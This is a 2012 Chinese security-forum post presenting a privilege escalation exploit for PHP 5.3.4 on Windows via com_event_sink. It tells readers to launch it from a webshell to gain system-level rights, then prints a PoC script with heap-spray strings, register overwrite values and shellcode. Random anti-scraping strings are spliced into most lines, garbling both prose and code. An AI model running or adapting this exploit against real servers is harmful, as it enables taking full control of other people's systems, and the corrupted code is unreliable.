找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2620|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
9 |- \9 r! p1 |; Q4 A$ R
) L7 L8 [, D! c* V% g0 t9 c测试方法如下:cmd /c x:\php\php.exe x:\test.php
0 N  p. [7 I) v# _
7 {/ f* a2 @; A; x下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php/ B6 X+ [4 s9 Z* K( O) X7 V
这里是两个测试的截图:
6 r0 ^, C; k- ]* w( q! B- \# z2 C% y( X4 k$ g0 N( U
- J2 U: u: ^3 }6 z; W6 m1 o
  T; J& s5 G2 \' M8 K( I! _

* i; x  ?( t9 E1 ]) H- j. `. \! d
成功利用此漏洞的攻击者将获得系统的最高权限
  i1 n5 ~3 F0 _& X; V  w  c/ N1 {$ h" Q6 w: c# }# y
2 Y3 _8 V. g& s- r+ g
$ j, k2 C: u* H' X- d4 {; I  y9 O
; e% @9 U3 n" C1 B; g# S

% \2 A8 s! f5 B+ j2 m3 \3 U关于漏洞分析稍后附上。一下是PoC代码:: c; \& i0 a/ \% T, f. I- S

) ]# C" }8 D( ^/ Y; f<?php
- M% U" A2 I' [5 a//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
$ G7 |. x3 c% S& O: F//$eip ="\x44\x43\x42\x41";& G1 [4 N3 O( N
$eip= "\x4b\xe8\x57\x78";
( o" d7 |4 ]# `0 ^' }" r5 q% u$eax ="\x80\x01\x8d\x04";- v) G4 A; s0 K. S, R
$deodrant="";
2 S. k/ Y& z/ D) [" f$axespray = str_repeat($eip.$eax,0x80);
3 k# C0 H/ l4 K# K# o//048d0190* @$ b7 J( @) W  j; w$ N3 r
echo strlen($axespray);. W+ N! r0 a( |
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";, N- [- f- N8 H" f
echo "Silic Group Hacker Army - BlackBap.Org";: r8 s/ @) ?' V$ |
//19200 ==4B32 4b003 a3 Q7 L  y  Z' g9 T2 T
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
/ m8 O0 w0 l, f0 [; G$ h: r$terminate = "T";/ Z: y, V/ X) R: o4 C
$u[] =$deodrant;- q  A& ?. j4 X9 f0 `
$r[] =$deodrant.$terminate;
2 u( r2 `$ E* v! D! h# z6 A8 t$a[] =$deodrant.$terminate;& [3 I& i, Y& n  `  w
$s[] =$deodrant.$terminate;3 U, Y9 j4 m0 b; m6 b
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的3 h5 v/ y6 t: ]$ Q; L
$vVar = new VARIANT(0x048d0000+180);$ f: ^+ o3 u( G
//弹窗代码(Shellcode): ]7 v  N1 W9 X  l# b
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";$ S# N' P/ J$ L' v1 z! f+ m) [
$var2 = new VARIANT(0x41414242);- X  |% W  U  ~' K
com_event_sink($vVar,$var2,$buffer);
( n' ]6 c% c. M4 V7 n+ E# E$ m) `9 s?>
5 Q" N+ I0 D$ P( e( Q; d, H

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表